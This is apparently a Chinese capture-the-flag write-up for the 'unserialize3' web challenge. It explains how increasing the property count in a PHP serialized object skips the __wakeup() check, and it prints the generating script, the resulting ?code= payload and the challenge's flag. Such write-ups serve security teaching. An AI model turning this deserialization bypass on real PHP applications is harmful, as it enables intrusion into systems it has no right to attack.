(3)攻防世界web-unserialize3

unserialize3

查看源代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

   
   
     
     
     
     
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这是一个利用反序列字符串来进行绕过的题,根据提示我们要构造code参数,但是需要绕过wakeup函数

**__wakeup()**是PHP的一个魔法函数,在进行unserialize反序列化的时候,首先查看有无该函数有的话
就会先执行他
绕过:
可以通过增加对象的属性个数来进行绕过

根据源码编辑php脚本输出序列化字符串:


class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));

?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述
将对象属性由1变为2得到:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

 
 
   
   
   
   
  • 1

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

 
 
   
   
   
   
  • 1

在这里插入图片描述
flag:
cyberpeace{79352c035adfa003c5b15c94b88c6c67}

你可能感兴趣的:(#,Web,前端,android)